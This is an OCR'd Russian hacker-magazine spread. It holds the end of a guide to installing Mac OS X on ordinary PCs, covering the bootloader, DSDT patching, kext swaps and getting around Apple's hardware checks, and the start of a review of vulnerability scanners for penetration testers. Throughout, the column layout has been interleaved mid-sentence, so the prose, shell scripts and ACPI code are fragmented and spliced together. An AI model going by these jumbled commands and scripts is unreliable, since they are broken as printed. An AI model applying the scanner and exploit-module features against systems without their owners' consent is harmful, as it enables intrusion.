комплектуются дисками с операционной очень корректно, все же, сама система созда- произвести стандартные действия по созда-
системой, однако эти диски являются на компанией Apple и ее стоит уважать. Для нию нового первичного раздела в формате
модельно-зависимыми, и, стало быть, непри- подобных случаев существует пакет Restore_ FAT32. Если это невозможно, то можно вос-
годны для наших целей. Пригодным будет Desktop_Settings, который нетрудно найти в пользоваться одной из программ управления
диск с пометкой Retail, который является интернете и с ним вернуть оригинальный вид разделами: Partition Magic, Paragon Partition
общим для всех моделей. Просто поставить с оболочки. Еще один минус — версия систе- Manager, Acronis. Существует и бесплатный,
него систему на хакинтош не удастся, потому мы. Сборки чаще всего имеют устаревшую хорошо работающий способ: загрузиться с
что он также рассчитан на оригинальный версию. Впрочем, если постараться (о чем Ubuntu LiveCD, но не запускать инсталляцию
компьютер. В отличие от Microsoft Windows, рассказано ниже), можно подправить систему Линукса, а набрать в терминале команду
Apple MacOSX не требует ввода серийного таким образом, что ее реально будет апдей- sudo gparted, пароль вводить не нужно.
номера и активации, подразумевается, что тить официальными пакетами от Apple. Плюс Программа gparted поможет совершенно
подлинность компьютера заложена в нем же сборки очевиден: установить систему корректно, без потерь данных, изменить раз-
самом. В компьютерах Apple модель и серий- получится за 10-20 минут, даже не имея ника- меры разделов и их расположение, создать
ный номер, а также свойства установленных кого опыта в хакинтошестроении. Установка новый раздел и отформатировать его. Итак,
устройств (аудио, видео и других) заложены Ритейла потребует немалых усилий и знаний. хороший вариант разбивки на разделы:
в EFI (http://en.wikipedia.org/wiki/Extensible_ Вкратце путь таков: скачать из Сети образ 1. WindowsHD, первичный, активный раздел,
Firmware_Interface), в отличие от БИОСа загрузочного диска или флеш-накопителя, NTFS.
большинства наших компьютеров. Некоторые содержащего минимальную ОС с минималь- 2. SnowHD, первичный, пока FAT32.
файлы в системе зашифрованы, и ключ шиф- ным набором драйверов, загрузиться с него в 3. Расширенный раздел, где можно органи-
рования заложен в специальной микросхеме. режим командной строки, вставить в привод зовать логические разделы, если необходи-
Отсюда легко сделать вывод: для установки DVD инсталляционный диск Ритейл, смонти- мо.
системы MacOSX на неоригинальный ком- ровать его и запустить с него инсталляцию. Теперь вставляем нашу загрузочную систему
пьютер, эту защиту следует обходить еще на Широкое хождение имеет сборка 10А432 от либо сразу сборку и грузимся с нее. На экра-
старте установки системы, т.е. старт должен dan1234, которая представляет собой тот же не появляется сообщение про Darwin boot и
быть с другого источника. дистрибутив Ритейл, но с нужным загрузчи- приглашение нажать <F8>. Это стоит сделать

022 XÀÊÅÐ 01 /133/ 10


для диагностики. В появившейся командной Library/Caches/com.apple.kext.
строке набираем -v, что означает «Verbose caches/Startup/Extensions.mkext"
boot» — до загрузки графической оболочки EXTRA_MKEXT="/Volumes/SnowHD/
мы будем видеть на экране пошаговый про- Extra/Extensions.mkext"
цесс загрузки системы. Хорошо, поскольку
в случае неудачи ты будешь знать, на чем kextcache -v 1 -t -m "$EXTRA_
все дело остановилось. К примеру, одна из MKEXT" "$KEXT_ADD"
известнейших ошибок «till waiting for root kextcache -v 1 -t -m "$SYS_MKEXT"
device...» означает, что в загрузочной систе- "$KEXT_SYSTEM"
ме отсутствует драйвер контроллера DVD-
накопителя. Один из вариантов — присоеди- Правда, в этом варианте предполагается, что
нить DVD-накопитель через USB-интерфейс, ты имеешь установленную систему MacOSX
таким способом устанавливали Тигра на на другом разделе, с которой можешь загру- А ВОТ И СПИСОК НЕЭППЛОВСКИX
всевозможные конфигурации. Либо искать зиться, и выполнить этот скрипт. Следующий УСТРОЙСТВ
другую загрузочную систему :(. вариант тоже требует наличия MacOSX, но
После пробега белых букв по черному экрану уже необязательно на том же компьютере. таки, очень емкая, но для указанного выше
он, наконец, очистился, побелел, посинел, Суть в том, что, так или иначе, загрузчик, десктопа оптимальным выбором является
и перед нами приглашение на установку установленный по умолчанию, необходи- MacPro3,1. С новым загрузчиком мы снова
MacOSX, с его лицензионным соглашением. мо менять, а вот с новейшим загрузчиком можем попытаться загрузиться в систему.
Не торопись! Сверху есть меню с утилитами, Chameleon-2 RC3 паники ядра уже нет, В некоторых конфигурациях это удается, в
там следует выбрать Disk Utility, и с помощью система сама создает мкекст. Загрузчик других будет новая «кернел-паника», на этот
него произвести форматирование выбран- создан по лицензии OpenSource, потому раз с указанием на IOATAFamily.kext,
ного раздела в формат Mac OS Extended доступен в интернете. Надо заметить, есть т.е. драйвер ATA-контроллера. Проблема уже
(journaled). После завершения Disk Utility мы его хорошие модификации, к примеру, PC-EFI изучена, лечится подменой родного кекста
возвращаемся в инсталлятор, указываем, 10.3 — 10.5 by Netkas. В архиве содержится патченным, взятым из интернета. Еще, если
куда ставить систему, выбираем опции уста- много файлов, в данный момент интересны у тебя клавиатура PS2, к ней и драйвер пона-
новки — и в добрый путь! Заметим, что сбор- три из них: добится новый, например, VoodooPS2.kext:
ки содержат очень много опций, в том числе boot0 — должен быть записан в нулевой
модифицированные ядра, БИОСы, драйвера сектор диска. Это — главная загрузочная mkdir /Volumes/SnowHD/Off
для всевозможных встроенных устройств, запись. sudo mv -v /Volumes/SnowHD/System/
«очень полезные» или даже «необходимые» boot1h — должен быть записан в нулевой Library/Extensions/IOATAFamily.
драйвера, а также набор утилит. Все это сектор раздела. kext /Volumes/SnowHD/Off
задумано не зря и не во вред пользователю, boot — должен быть расположен в корне- sudo cp -r -v /tmp/IOATAFamily.
однако, если ты не уверен, что тот или иной вой директории раздела с системой. kext /Volumes/SnowHD/System/
драйвер подойдет, лучше их не выбирать, Сделать это можно в любой операцион- Library/Extensions
наверняка в интернете найдешь более ной системе, к примеру, так это делается в sudo cp -r -v /tmp/
современный вариант. А вот утилиты взять MacOSX: IOAppleACPIPS2Nube.kext /Volumes/
можно, их наличие системе не мешает. В упо- SnowHD/System/Library/Extensions
мянутой выше сборке от dan1234 есть еще sudo fdisk -f /tmp/boot0 -u -y / sudo cp -r -v /tmp/VoodooPS2.kext
загадочный шаг по изготовлению и установке dev/rdisk0 /Volumes/SnowHD/System/Library/
файла DSDT (Differential System Description dd if=/tmp/boot1h of=/dev/rdisk0s2 Extensions
Table). Шаг обязательно стоит выполнить, sudo cp /tmp/boot /Volumes/SnowHD/
если ты не готов сделать его по-другому. В дальнейшем можно будет вернуться к род-
Ниже мы обсудим, что это и зачем. Словом, Один из вариантов, как можно сделать: ному кексту, исправив DSDT. Подменить одни
система установилась успешно, на что ей 1. Записать файлы на флешку. файлы другими проще всего из Windows,
потребовалось 10 минут, и попросила переза- 2. Загрузиться с инсталляционного диска, как только там нужно установить программу
грузки... И здесь нас ждет «кернел паника», мы это уже проделывали, выбрать из меню MacDrive, позволяющую писать в раздел,
скорее всего, не последняя. Выглядит, как «терминал». отформатированный в HFS+. Доступна
таблица цифр и некоторые буквенные иден- 3. Смонтировать флешку командой 30-дневная рабочая версия, для этих целей
тификаторы. Иногда из этого можно понять /sbin/mount -o nosuid -w -m 755 / вполне достаточно.
причину краха. dev/disk1s1 /tmp Загружаемся в новую систему с ключами
В данном случае система не сформиро- 4. Установить загрузчик указанными выше загрузки -v -f arch=i386. Пояснения:
вала правильный mkext (multiple kernel командами. -v — мы должны видеть в текстовом виде,
extensions, в первом приближении это архив 5. Для загрузчика Chameleon-2 также необ- что происходит.
драйверов). Продвинутые хакеры изготавли- ходима папка /Extra в корне раздела, где -f — обновить кеш драйверов.
вают его сами, подставляют в систему, после находятся файлы com.apple.Boot.plist arch=i386 — для начала выбираем режим
чего она грузится дальше. На вкладке приве- и smbios.plist. Первый содержит флаги 32 бита, переход на 64 бита сделаем, когда
ден текст скрипта, который создает mkext. загрузки: Timeout в 15 секунд дает тебе воз- будем готовы к этому шагу.
можность сообразить, не хочешь ли ты загру- Наконец-то! Экран приветствия, настройки
#!/bin/bash зить другую систему или с другими флагами; нового пользователя, регистрация (не надо
system-id должен быть уникален, для этого сообщать в Эппл свои данные, так что отклю-
KEXT_SYSTEM="/Volumes/SnowHD/ существует UUIDGenerator. чи интернет). Ты в системе.
System/Library/Extensions" В файле smbios.plist самый интересный
KEXT_ADD="/Volumes/SnowHD/Extra/ пункт — SMProductName. Как выяснилось, ÄÀËÜÍÅÉØÀß ÀÄÀÏÒÀÖÈß ÑÈÑÒÅÌÛ
AdditionalExtensions" от того, как ты назовешь свой компьютер, он Описанная выше процедура не всегда быва-
SYS_MKEXT="/Volumes/SnowHD/System/ и работать будет по-разному. Тема, опять- ет успешной, но даже в тех случаях, когда

XÀÊÅÐ 01 /133/ 10 023


PC_ZONE

ОПРЕДЕЛИТЬ VENDORID/DEVICEID МОЖНО С ПОМО-


ЩЬЮ DPCIMANAGER
СВЕДЕНИЯ О СИСТЕМЕ. МЫ ВИДИМ: MAC OS X 10.6.2

система все же загружается, чаще всего Store (0x08, OSVR) acpi_tbls=`ioreg -lw0 | grep "ACPI
успех еще не полный. Дальнейшие инструк- } Tables" | cut -f2 -d"{" | tr ","
ции помогут разобраться, что нужно сделать, } " "`
если система не работает или работает }
неполноценно. } echo -e "\nDumping the
В первую очередь необходимо разобраться } following ACPI tables to folder
с DSDT — небольшой программой (~20 кб), `pwd`/$dmpdir\n"
работающей ВНЕ операционной систе- В этом списке наблюдается даже такая
мы. Подсистема ACPI (Advanced Computer экзотика, как OpenVMS, но MacOSX здесь # Loop through each table
Powermanagement Interface) закладывает- отсутствует, и поведение программы про- for tbl in $acpi_tbls
ся производителем материнской платы в сто не определено. Наиболее общий совет do
БИОСе. Проблема в том, что MacOSX ориен- — сделать так, будто мы работаем в системе tbl_name=`echo $tbl |
тирована на использование ACPI, а произ- Windows XP SP3. cut -f1 -d"=" | tr -d "\""`
водители PC не предусмотрели, что на таком
компьютере будет установлена ХакОС. Вот, к If (_OSI ("Darwin")) echo $tbl_name
примеру, отрывок из этой программы: {
Store (0x05, OSVR) tbl_data=`echo $tbl |
If (_OSI ("Linux")) } cut -f2 -d"<" | tr -d ">"`
{ Store (0x03, OSVR) } echo $tbl_data | xxd -r -p >
Else Да! Наша система идентифицируется ACPI $dmpdir/$tbl_name.aml
{ как Darwin. $cdir/iasl -d $dmpdir/
If (_OSI ("Windows 2001")) Вернемся к тому, откуда этот текст, как его $tbl_name.aml 1>
{ Store (0x04, OSVR) } получить и использовать. Как видишь, это /dev/null 2>&1
Else программа, написанная на языке, сходном с done
{ С. БИОС, при старте компьютера, генерирует echo -e "\nDone!"
If (_OSI ("Windows 2001.1")) dsdt.aml, который исполняется где-то в
{ фоновом режиме вне операционной системы. Вызываем программу Terminal. Создаем
Store (0x05, OSVR) Эту программу можно сохранить в бинар- папку DSDT:
} ном виде в файле в любой ОС, в том числе
Else в Windows. Для этого существует DSDT GUI mkdir DSDT
{ patcher for Windows. Если у тебя уже есть cd DSDT
If (_OSI ("FreeBSD")) MacOSX, можно проделать эту операцию и
{ в нем. Для этого необходимо создать такой Помещаем туда этот скрипт, назовем его
Store (0x06, OSVR) скрипт: dumpACPI.sh. Помещаем в эту же папку ути-
} литу IASL (версию для Mac находим в интер-
Else #!/bin/bash нете или на диске к журналу). И запускаем
{ скрипт на исполнение:
If (_OSI ("HP-UX")) cdir='dirname $0'
{ dmpdir=acpitbls ./dumpACPI.sh
Store (0x07, OSVR) # Create a dump directory
} if [[ ! -d $dmpdir ]];then У нас появляется вложенная папка
Else mkdir $dmpdir acpitbls, внутри которой несколько фай-
{ fi лов — ACPI-таблиц, среди которых и файлы
If (_OSI ("OpenVMS")) dsdt.aml и dsdt.dsl. Последний пред-
{ # Dump ACPI table data from ioreg ставляет собой программу в текстовом виде,

024 XÀÊÅÐ 01 /133/ 10


управление питанием и частотой процессора <key>IONameMatch</key>
(Intel SpeedStep). В простое процессор рабо-
тает на низкой частоте, при нагрузке — на <array>
максимальной, тем самым гораздо меньше <string>pci106b,4e</string>
нагревается. Опять таки, очень актуально для <string>pci14e4,4311</string>
ноутбуков. <string>pci14e4,4312</string>
• Шина USB будет работать либо со специ- <string>pci14e4,4313</string>
альной версией драйвера, либо с DSDT- <string>pci14e4,4318</string>
патчем на все порты USB. <string>pci14e4,4319</string>
Ну и, напоследок, приведем список необхо- <string>pci14e4,431a</string>
димых драйверов, которые следует поставить <string>pci14e4,4320</string>
в систему: <string>pci14e4,4324</string>
КАК ВИДИШЬ, В СИСТЕМЕ ИС- IOPCIFamily.kext — родная версия <string>pci14e4,4325</string>
ПОЛЬЗУЕТСЯ МЫШЬ ОТ KYE почему-то не соответствует стандартным PC.
SYSTEM, Т.Е. ОБЫЧНАЯ GENIUS. OpenHaltRestart.kext — без него систе- Таким образом, драйвер рассчитан на разные
ДЛЯ РАБОТЫ МОЖНО ОБОЙТИСЬ ма не выключается и не перезагружается. варианты адаптеров, но не на 4315. А что,
БЕЗ СПЕЦИАЛЬНОЙ ЭППЛОВСКОЙ Natit.kext — для включения видеокарт если вручную его туда прописать по образцу?
МЫШКИ (разные вариации, возможна замена на DSDT Да!
patch). И это очень часто работает. В частности, в
AppleACPIPS2Nub.kext + рассматриваемом варианте такая подста-
тогда как aml — в бинарном виде. Взаимное ApplePS2Controller.kext (rebuilded) или новка приводит к полноценно работающему
превращение одного в другое осуществляет- VoodooPS2.kext — если у тебя клавиатура, драйверу.
ся компилятором iasl. мышь или трекпад подключены как PS2.
AppleACPIBatteryManager.kext — для ÎÁÍÎÂËÅÍÈÅ ÑÈÑÒÅÌÛ
iasl -ta dsdt.dsl показа батарейки на ноутбуках. Выполняя обновление системы, непо-
iasl -d dsdt.aml Fakesmc.kext — сообщает системе необ- средственно через Software Update...
ходимую приватную информацию. dsmos.kext или просто загрузив Combo Update с
Файл dsl можно редактировать обычным можно удалить. официального сайта Apple, важно пом-
текстовым редактором (но не виндусовыми VoodooHDA.kext — драйвер, подходящий нить, что именно ты менял в системе,
Notepad, Wordpad, они создают другой конец для большинства звуковых карт стандарта чтобы после апдейта «привести ее в
строки, и текст будет капитально испорчен!), High Definition Audio. При этом AppleHDA.kext чувство». В частности, в вышеприведен-
чтобы исправить алгоритм программы. обязательно следует удалить. ном примере с WiFi после апдейта цифру
Исправленный файл откомпилировать (iasl Установка любого драйвера осуществляется 4315 придется вводить заново. Если ты
-ta dsdt.dsl), и отправить в корень диска: из терминала командой используешь VoodooHDA, предваритель-
sudo cp -r -v /tmp/NewDriver.kext но удалив AppleHDA, то после апдейта
sudo cp -v dsdt.aml / /System/Library/Extensions/ он появится вновь, и конфликт приведет
Внимание! Копирование кекста с помощью к краху системы. Чтобы этого избежать,
После перезагрузки системы изменения всту- мыши не приводит к его корректной инстал- перед обновлением следует переместить
пят в силу. ляции, такой файл будет иметь неправильные VoodooHDA в безопасное место, а после
Файл DSDT всегда индивидуален, чужой права и не примется системой. успешного обновления вновь его устано-
взять нельзя. Тот, что создан БИОСом, не вить. Аналогичные рекомендации будут
рассчитан на работу с ХакОС, и даже не ÈÄÅÍÒÈÔÈÊÀÖÈß ÓÑÒÐÎÉÑÒÂ и относительно других родных кекстов,
только в смысле идентификации системы, но Каждое PCI-устройство имеет иденти- которые ты по той или иной причине
и потому, что для MacOSX требуется больше фикаторы DeviceID и VendorID, каждое удалил. Существует вариант Disabler.
информации об устройствах и иное распре- USB-устройство — idProduct и idVendor, kext, который позволяет не удалять род-
деление прерываний. Все вместе — большая каждое ACPI-устройство — имя типа ные кексты, а просто отменить их загруз-
и достаточно сложная тема, в интернете PNPxxxx или ACPIxxxx. Во многих случа- ку, в этом варианте обновлению вообще
выложены многостраничные инструкции в ях патч родных драйверов заключается ничего не мешает.
каких случаях и что нужно менять в этом в подмене идентификаторов родных на
файле. Краткий перечень: свои. К примеру, установлен WiFi Adapter ÏÅÐÅÕÎÄ ÍÀ ÍÀÑÒÎßÙÈÉ MAC
• Отменить прерывания таймеров HPET, RTC, Broadcom 4315. Открываем в виндоусе Устанавливая таким образом MacOS X, теря-
TMR и добавить IRQ2 для IPIC. Много про- «Диспетчер Устройств», находим его и ешь одну из главных фишек системы —
блем решается именно здесь. смотрим сведения, совместимые коды обо- чрезвычайную продуманность, всецело
• Инициализировать IDE timing registers. рудования. Узнаем, что DeviceID=4315 и избавляющую пользователя от головной
Теперь можно использовать родной VendorID=14e4. боли по поводу чего-либо. Однако гиков
IOATAFamily.kext. Затем смотрим в системную папку и находим такими проблемами не испугать. В прин-
• Прописать свойства звуковой карточки, похожий драйвер для Broadcom 4311, изуча- ципе, с тем же успехом можно было взять
сетевой и видео, чтобы заработали драйвера ем его info.plist: готовую сборку ХакОС и получить систему за
для них. 15 минут. Поэтому наша цель была глубже, и
• Прописать устройства, которые не были sudo nano /System/Library/ теперь мы не только знаем, каким образом
предусмотрены в БИОС. Extensions/IO80211Family. устанавливается MacOSX на обычный ком-
• Скорректировать события засыпания/про- kext/Contents/PlugIns/ пьютер, но и каким образом может на нем
буждения — тема актуальна для владельцаев AppleAirPortBrcm4311.kext/ работать. Впрочем, привыкнув к системе,
ноутбуков. Contents/Info.plist очень скоро понимаешь, что надо покупать
• Описать методы и свойства процессора. оригинальный Mac и не идти ни на какие
Таким способом удается заставить работать И вот что в нем: компромиссы :). z

XÀÊÅÐ 01 /133/ 10 025


PC_ZONE
СТЕПАН «STEP» ИЛЬИН TWITЕR.COM/STEPAH

9 ÑÊÀÍÅÐÎÂ
ÁÅÇÎÏÀÑÍÎÑÒÈ
ÏÎÄÁÎÐÊÀ ÈÍÑÒÐÓÌÅÍÒÎÂ ÄËß ÏÅÍÒÅÑÒÅÐÀ
У каждого из команды z — свои предпочтения по части софта и утилит для пентеста. Посовещавшись,
выяснили: выбор так разнится, что можно составить настоящий джентльменский набор из проверенных
программ. На том и решили. Чтобы не делать сборную солянку, весь список мы разбили на темы. Сегодня
мы коснемся святая святых любого пентестера — сканера уязвимостей.

Nessus
www.nessus.org/plugins/
index.php
Free/Shareware
Win/nix/Mac
Если кто-то и не пробовал Nessus, то, по
меньшей мере, слышал о нем. Один из самых
известных сканеров безопасности имеет КЛИЕНТСКАЯ ЧАСТЬ NESSUS НА
богатую историю: будучи когда-то открытым FLEX’Е
НАСТРОЙКИ СКАНИРОВАНИЯ
проектом, программа перестала распростра-
OPENVAS
няться в открытых исходниках. К счастью, через удобный интерфейс на Flash’е, имея
осталась бесплатная версия, которая изна- один лишь браузер. После установки скане- Отличительная черта Nessus — умные
чально была сильно обделена в доступе к ра серверная запускается автоматически, плагины. Сканер никогда не будет скани-
обновлениям для базы уязвимостей и новым как только укажешь ключ для активации: ровать сервис только по номеру его порта.
плагинам, но позже разработчики сжалились ты бесплатно можешь запросить его на Переместив веб-сервер со стандартного
и лишь ограничили ее в периодичности домашнем сайте Nessus. Правда, для входа, 80-го порта, скажем, на 1234-й, обмануть
апдейтов. Плагины — ключевая особенность и локального, и удаленного, понадобится Nessus не удастся — он это определит.
архитектуры приложения: любой тест на про- предварительно создать пользователя: в Если на FTP-сервере отключен анонимный
никновение не зашивается наглухо внутрь винде это делается в два клика мыши через пользователь, а часть плагинов использу-
программы, а оформляется в виде подклю- GUI-админку Nesus Server Manager, с ее же ют его для проверки, то сканер не будет их
чаемого плагина. Аддоны распределяются на помощью можно запускать и останавливать запускать, заведомо зная, что толку от них не
42 различных типа: чтобы провести пентест, сервер. будет. Если плагин эксплуатирует уязвимость
можно активировать как отдельные плагины, Любой тест на проникновение начинается с в Postfix’е, Nessus не будет пытать счастья,
так и все плагины определенного типа — создания так называемых Policies — правил, пробуя тесты против sendmail’а — и т.д.
например, для выполнения всех локальных которых сканер будет придерживаться во Понятно, что для выполнения проверок на
проверок на Ubuntu-системе. Причем никто время сканирования. Здесь-то и выбираются локальной системе, необходимо предоста-
не ограничивает тебя в написании собствен- виды сканирования портов (TCP Scan, UDP вить сканеру Credentials (логины и пароли
ных тестов на проникновения: для этого в Scan, Syn Scan и т.д.), количество одно- для доступа) — это завершающая часть
Nessus был реализован специальный скрип- временных подключений, а также типичные настройки правил.
товый язык — NASL (Nessus Attack Scripting чисто для Nessus опции, как, например,
Language), который позже позаимствовали и Safe Checks. Последняя включает безопас- OpenVAS
другие утилиты. ное сканирование, деактивируя плагины, www.openvas.org
Еще большей гибкости разработчики доби- которые могут нанести вред сканируемой Freeware
лись, отделив серверную часть сканера, системе. Важный шаг в создании правил — Win/nix/Mac
выполняющего все действия, от клиентской это подключение нужных плагинов: можно Несмотря на то, что исходные коды Nessus
программы, представляющей собой не более активизировать целые группы, скажем, стали закрытыми, движок Nessus 2 и часть
чем графический интерфейс. В последней Default Unix Accounts, DNS, CISCO, Slackware плагинов по-прежнему распространяются
4.2 версии демон на 8834 порту открывает Local Security Checks, Windows и т.д. Выбор по лицензии GPL в виде проекта OpenVAS
веб-сервер; с ним можно управлять сканером возможных атак и проверок — огромный! (OpenSource Vulnerability Assessment

026 XÀÊÅÐ 01 /133/ 10


fingerprinting, ovaldi для поддержки OVAL —
стандартного языка для описания уязвимо-
стей — и множество других.

XSpider 7
www.ptsecurity.ru/
xs7download.asp
Shareware
Win
Первые строчки кода XSpider были напи- РАЗНЫЕ ВИДЫ СКАНИРОВАНИЯ
ОТЧЕТ О СКАНИРОВАНИИ ХОСТА В саны 2 декабря 1998 года, а за прошедшие GFI LANGUARD
XSPIDER с тех пор 12 лет этот сканер стал известен
каждому российскому специалисту по инфор-
Scanner). Сейчас проект развивается совер- мационной безопасности. Вообще, Positive GFI LANguard
шенно независимо от своего старшего Technologies — одна из немногих компаний www.gfi.com/lannetscan
брата и делает немалые успехи: последняя на отечественном рынке информацион- Freeware/Shareware
стабильная версия вышла как раз перед ной безопасности, чьи сотрудники умеют Win
отправкой номера в печать. Неудивительно, реально что-то ломать, а не только красиво Я особенно люблю этот продукт — за набор
что OpenVAS так же использует клиент- продавать услуги. Продукт был написан не предустановленных профилей для сканирова-
серверную архитектуру, где все операции программистами, а специалистами по ИБ, ния. Помимо полного сканирования удален-
сканирования выполняются серверной знающими, как и что надо проверять. Что в ной системы, подразумевающего все виды
частью — она работает только под никсами. итоге? Имеем очень качественный продукт с доступных проверок (кстати, есть специальная
Для запуска потребуется закачать пакеты одним лишь, но весьма серьезным для нас версия для медленного коннекта — напри-
openvas-scanner, а также набор библиотек минусом: XSpider платный! Задаром разра- мер, для тормозного VPN-соединения через
openvas-libraries. В качестве клиентской ботчики предлагают урезанную демо-версию, Штаты), есть масса отдельных групп проверок.
части для OpenVAS 3.0 доступна только в которой не реализован целый ряд проверок, Например, можно быстро проверить десят-
никсовая GUI-программа, но, думаю, что, в том числе эвристических, а также онлайн- ки хостов на наличие уязвимостей из Top20,
как у предыдущих версий, скоро появится обновления для базы уязвимостей. Более составленной известной security-корпорацией
порт для винды. В любом случае, проще того, силы разработчиков сейчас всецело SANS. Тут же можно активировать и поиск
всего воспользоваться OpenVAS при помо- направлены на другой продукт — систему машин с неустановленными патчами или
щи небезызвестного LiveCD Bactrack (4-ая мониторинга информационной безопасно- сервис-паками, выбрать профиль для пентеста
версия), в котором он уже установлен. Все сти MaxPatrol, для которой, увы, нет даже и веб-приложений и т.д. Причем, кроме профи-
основные операции для начала работы демки. лей, непосредственно направленных на поиск
вынесены в пункты меню: OpenVAS Make Но даже при всех ограничениях XSpider уязвимостей, есть и ряд средств для аудита:
Cert (создание SSL-сертификата для доступа является одним из самых удобных и эффек- поиск шар, умный сканер портов, в том числе
к серверу), Add User (создание юзера для тивных инструментов анализа безопасности для поиска открытых малварью соединений,
доступа к серверу), NVT Sync (обновление сети и конкретных узлов. Настройки скани- определение конфигурации компьютера и т.д.
плагинов и баз уязвимостей), и, в конце кон- рования, как и в случае Nessus, оформля- Получается, в одном продукте уживаются масса
цов, OpenVAS Server (запуск сервера через ются в виде специального набора правил, полезных утилит. Постоянно обновляемая база
пункт меню). Далее остается только запу- только в данном случае они называются не уязвимостей GFI LANguard включает более
стить клиентскую часть и выполнить под- Policies, а профилями. Настраиваются как 15000 записей, позволяя сканировать самые
ключение к серверу для начала пентеста. общие параметры для сетевого анализа, разные системы (Windows, Mac OS, Linux), в
Открытость и расширяемость OpenVAS позво- так и поведение сканера для конкретных том числе, установленные на виртуальных
лила сильно прокачать программу. Помимо протоколов: SSH, LDAP, HTTP. Тип исследуе- машинах. Сканер автоматически подтягивает
непосредственно плагинов для анализа мого демона на каждом порту определяется обновления для базы, которые в свою очередь
защищенности, в нее интегрировано немало не по общепринятой классификации, а с формируются по отчетам BugTraq, SANS и дру-
известных утилит: Nikto для поиска уязвимых использованием эвристических алгорит- гих компаний. Реализовать свои собственные
CGI-сценариев, nmap для сканирования пор- мов fingerprinting’а — опция включается проверки, как водится, можешь и ты сам. Для
тов и моря других вещей, ike-scan для обна- одним кликом в профиле сканирования. этого предоставляется специальный скрип-
ружения IPSEC VPN узлов, amap для иден- Отдельного слова заслуживает обработка товый язык, совместимый с Python и VBScript
тификации сервисов на портах, используя RPC-сервисов (Windows и *nix) с полной (какова связка!), а для полного удобства еще и
идентификацией, благодаря которой удается удобный редактор с дебагером — получается
СКАНЕР ОТ ИЗВЕСТНОЙ SECURITY- определить уязвимости различных сервисов настоящая IDE. Еще одна уникальная фишка
КОМПАНИИ EEYE и детальную конфигурацию компьютера в LANguard’а — возможность определения того,
целом. Проверка слабости парольной защи- что машина запущена в виртуальном окруже-
ты реализует оптимизированный подбор нии (пока поддерживается VMware и Virtual
паролей практически во всех сервисах, тре- PC) — это одна из уникальных фишек сканера.
бующих аутентификации, помогая выявить
слабые пароли. Результат сканирования Retina Network Security
оформляется в виде удобного отчета, при- Scanner
чем для каждой найденной потенциальной www.eeye.com
уязвимости выдается крохотное описание Shareware
и внешний линк, куда можно обратиться за Win
подробностями. Главное разочарование этого легендарного

XÀÊÅÐ 01 /133/ 10 027


PC_ZONE

ОТЧЕТ MBSA, ПЕРЕНЕСЕННЫЙ НА СХЕМУ VISIO

сканера постигло меня сразу после запуска. Установщик сти ОС, приложений, потенциально опасные настройки и
последней версии, выругавшись, сказал, что запустить параметры. В результате можно получить обзорный план
Retina на Windows 7 или Windows Server 2008 R2 на сети с отображением потенциально уязвимых мест. База
WARNING текущий момент нельзя. Не очень-то вежливо, при- с уязвимостями, по заверениям разработчиков, обновля-
шлось открывать виртуальную машину, но я-то знал: ется ежечасно, а информация об уязвимости попадает в
оно того стоит. Retina — один из лучших сканеров, кото- базу не позднее 48 часов после появления о ней первого
рый определяет и анализирует хосты локальной сети. бактрака. Впрочем, сам факт, что это продукт фабрики
warning Физические и виртуальные серверы, рабочие станции eEye, уже является своего рода гарантией качества.
Пентест серверов и ноутбуки, маршрутизаторы и аппаратные брандмауэ-
и ресурсов без воли их ры — Retina представит полный список подключенных Microsoft Baseline Security
владельцев — к сети устройств, выведет информацию о беспроводных Analyzer
деяние уголовно сетях. Каждый из них она всячески будет пытать в поиске www.microsoft.com
наказуемое. В случае хоть какого-то намека на уязвимость, и делает это очень Freeeware
использования по- шустро. На сканирование локальной сети класса С уходит Win
лученных знаний примерно 15 минут. Продукт Retina определяет уязвимо- Что это такое? Анализатор безопасности от компании
в незаконных целях Microsoft, который проверяет компьютеры в сети на
автор и редакция соответствие требованиям Microsoft, которых набралось
ВЕБ-МОРДА СКАНЕРА SAINT
ответственности не немалое количество. Самый главный критерий — это,
несут. конечно же, наличие на системе всех установленных
обновлений. Не надо напоминать, что сделал Conficker,
используя брешь MS08-67, патч для которой вышел за 2
месяца до эпидемии. Помимо отсутствующих в системе
DVD патчей, MBSA обнаруживает и некоторые распростра-
ненные бреши в конфигурации. Перед началом скани-
рования программа скачивает обновления для своих
dvd баз, поэтому можно быть уверенным: Microsoft Baseline
Большую часть пред- Security Analyzer знает все о вышедших апдейтах для
ставленных в обзоре винды. По результатам сканирования (домена или диа-
утилит ты найдешь на пазона IP-адресов) выдается сводный отчет. И без того
нашем DVD-диске. наглядный репорт можно перенести на условную схему
сети, отобразив результаты сканирования в Visio. Для
этого на сайте программы доступен специальный соеди-
нитель, который отобразит символами различные узлы
локалки, заполнит параметры объектов, добавив туда
информацию о сканировании, и в удобнейшей форме

028 XÀÊÅÐ 01 /133/ 10


позволит посмотреть, какие проблемы есть на
том или ином компе.

SAINT
www.saintcorporation.com
Shareware
nix
Всего лишь два IP-адреса, на которые ты
сможешь натравить SAINT в течение триаль-
ного периода, жестко зашиваются в ключ,
и он отправляется тебе на е-мейл. Ни шагу
влево, ни шагу вправо — но этот продукт обя-
зательно стоит попробовать, даже с такими
драконовскими ограничениями. Управление
сканером реализуется через веб-интерфейс,
что неудивительно — решения SAINT про- X-SCAN УМЕЕТ ПОДКЛЮЧАТЬ ПЛАГИНЫ NESSUS
даются, в том числе, в виде серверов для
установки в стойку (SAINTbox), а тут нужно Последняя версия этого сканера вышла еще рела проект Metasploit Framework, и
следовать моде. С помощью аскетичного веб- в 2007 году, что вовсе не мешает использо- именно ее рук дело — проект NeXpose.
интерфейса очень просто можно запустить вать его сейчас благодаря системе подклю- Стоимость «входа» для использования
тестирование и использовать многолетние чаемых плагинов и скриптов, написанных на коммерческой версии составляет без
наработки для поиска потенциально уязви- языке NASL, таком же, который используется малого $3000, но для энтузиастов есть
мых мест в системе. Скажу больше: один из в Nessus/OpenVAS. Найти и отредактиро- Community-версия с чуть-чуть урезан-
модулей SAINTexploit позволяет не только вать имеющиеся скрипты несложно — все ными возможностями. Такая бесплат-
обнаружить, но еще и эксплуатировать уязви- они находятся в папке scripts. Для запуска ная версия легко управляется через
мость! Возьмем пресловутую ошибку MS08- сканера необходимо обозначить параметры веб-интерфейс, а также интегрируется
67. Если сканер обнаруживает неприкрытую сканирования через меню Config Æ Scan с Metasploit’ом (нужна версия не ниже
дырку и знает, как ее эксплуатировать, то Parameter. В качестве объекта сканирования 3.3.1). Схема работы достаточно хитрая:
прямо рядом с описанием уязвимости дает может выступать как конкретный IP, так и сначала запускается NeXpose, далее
